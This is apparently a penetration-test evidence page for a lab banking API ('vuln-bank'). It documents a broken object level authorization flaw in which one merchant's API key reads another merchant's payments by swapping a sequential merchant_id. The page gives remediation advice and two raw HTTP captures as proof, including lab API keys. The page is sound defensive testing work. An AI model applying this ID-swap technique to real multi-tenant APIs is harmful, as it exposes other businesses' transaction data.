Test case 04 / 26FAIL

Broken Object Level Authorization - Merchant Payments - Payments By Merchant

Lab environment — not a production system

Screenshots and raw traffic are not translated; text within them may be in another language.

vuln-bank/Evidence/[FAIL] Broken Object Level Authorization - Merchant Payments - Payments By Merchant

01 — Notes

Test notes

Vulnerability

[FAIL] Broken Object Level Authorization - Merchant Payments - Payments By Merchant

Description

The /api/v1/payments/merchant_id/<merchant_id> endpoint returns a list of payments based on the merchant_id in the path without checking that the caller's API key actually belongs to that merchant. The check only confirms the API key is valid, not that the caller is entitled to the requested object.

Impact

Confidentiality (High): cross-tenant isolation violation. Any registered merchant can read another merchant's transactions simply by changing merchant_id, exposing competitors' sales data and transaction values. merchant_id is a sequential integer, so every tenant can be harvested systematically.

CWE

CWE-639: Authorization Bypass Through User-Controlled Key

OWASP

A01:2021 - Broken Access Control

Scenario

Normal: VictimShop reads its own payment list using its own API key. Exploitation: EvilShop calls the same endpoint with VictimShop's merchant_id using EvilShop's API key -> HTTP 200 and VictimShop's 77.0 transaction is readable.

Endpoint

GET http://127.0.0.1:5001/api/v1/payments/merchant_id/<merchant_id>

Affected feature

Merchant payments (per-merchant transaction summary)

Remediation

- Ignore merchant_id from the path; derive the merchant from the API key that authenticates the request. - If the parameter is still required, reject requests where merchant_id does not match the merchant owning the API key. - Use random identifiers for merchants. - Remove the debug_info block that reflects the caller's API key in the response.

Proof of concept

1) (Screenshot 1) NORMAL: VictimShop reads its own payments with its own API key -> succeeds. 2) (Screenshot 2) CIA IMPACT: EvilShop uses its own API key to read VictimShop's merchant_id -> HTTP 200, the 77.0 transaction belonging to another merchant is exposed.
View source note (English)
Vulnerability:
[FAIL] Broken Object Level Authorization - Merchant Payments - Payments By Merchant

Description:
The /api/v1/payments/merchant_id/<merchant_id> endpoint returns a list of payments based on the merchant_id in the path without checking that the caller's API key actually belongs to that merchant. The check only confirms the API key is valid, not that the caller is entitled to the requested object.

Impact:
Confidentiality (High): cross-tenant isolation violation. Any registered merchant can read another merchant's transactions simply by changing merchant_id, exposing competitors' sales data and transaction values. merchant_id is a sequential integer, so every tenant can be harvested systematically.

CWE:
CWE-639: Authorization Bypass Through User-Controlled Key

OWASP:
A01:2021 - Broken Access Control

Scenario:
Normal: VictimShop reads its own payment list using its own API key. Exploitation: EvilShop calls the same endpoint with VictimShop's merchant_id using EvilShop's API key -> HTTP 200 and VictimShop's 77.0 transaction is readable.

Endpoint:
GET http://127.0.0.1:5001/api/v1/payments/merchant_id/<merchant_id>

Affected Feature:
Merchant payments (per-merchant transaction summary)

Remediation:
- Ignore merchant_id from the path; derive the merchant from the API key that authenticates the request.
- If the parameter is still required, reject requests where merchant_id does not match the merchant owning the API key.
- Use random identifiers for merchants.
- Remove the debug_info block that reflects the caller's API key in the response.

POC:
1) (Screenshot 1) NORMAL: VictimShop reads its own payments with its own API key -> succeeds.
2) (Screenshot 2) CIA IMPACT: EvilShop uses its own API key to read VictimShop's merchant_id -> HTTP 200, the 77.0 transaction belonging to another merchant is exposed.

02 — Screenshots

Screenshots (2)

01 / 1
02 / 2

03 — Requests and responses

HTTP captures

Some credential values are masked in this public HTML view. This does not mean every sensitive value or linked file has been redacted.

CAPTURE 01 / 1
HTTP request
GET /api/v1/payments/merchant_id/3 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
X-Merchant-Api-Key: vk_b6be463f6999751d74c53b68865247ce565e003583579498f2537892bc13c69a

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 795
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:10 GMT

{
  "debug_info": {
    "looked_up_by_merchant": {
      "api_key": "[REDACTED-LAB-VALUE]",
      "auth_method": "api_key",
      "created_at": "2026-09-30 03:02:10.036422",
      "email": "[REDACTED-EMAIL]",
      "id": 3,
      "is_active": true,
      "name": "None"
    }
  },
  "merchant_id": 3,
  "payments": [
    {
      "amount": 77.0,
      "authorization_code": null,
      "card_id": null,
      "card_number": null,
      "created_at": "2026-09-30 03:02:10.070155",
      "currency": "USD",
      "failure_reason": "invalid_card_number",
      "id": 1,
      "merchant_id": 3,
      "merchant_name": "None",
      "merchant_order_id": null,
      "payment_status": "failed"
    }
  ],
  "status": "success"
}
CAPTURE 02 / 2
HTTP request
GET /api/v1/payments/merchant_id/3 HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
X-Merchant-Api-Key: vk_f69b0e3717c397d562c3d2a419895ef63413a5ba0636da66ac2039fbd70fd211

HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 793
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:11 GMT

{
  "debug_info": {
    "looked_up_by_merchant": {
      "api_key": "[REDACTED-LAB-VALUE]",
      "auth_method": "api_key",
      "created_at": "2026-09-30 03:02:10.043652",
      "email": "[REDACTED-EMAIL]",
      "id": 4,
      "is_active": true,
      "name": "None"
    }
  },
  "merchant_id": 3,
  "payments": [
    {
      "amount": 77.0,
      "authorization_code": null,
      "card_id": null,
      "card_number": null,
      "created_at": "2026-09-30 03:02:10.070155",
      "currency": "USD",
      "failure_reason": "invalid_card_number",
      "id": 1,
      "merchant_id": 3,
      "merchant_name": "None",
      "merchant_order_id": null,
      "payment_status": "failed"
    }
  ],
  "status": "success"
}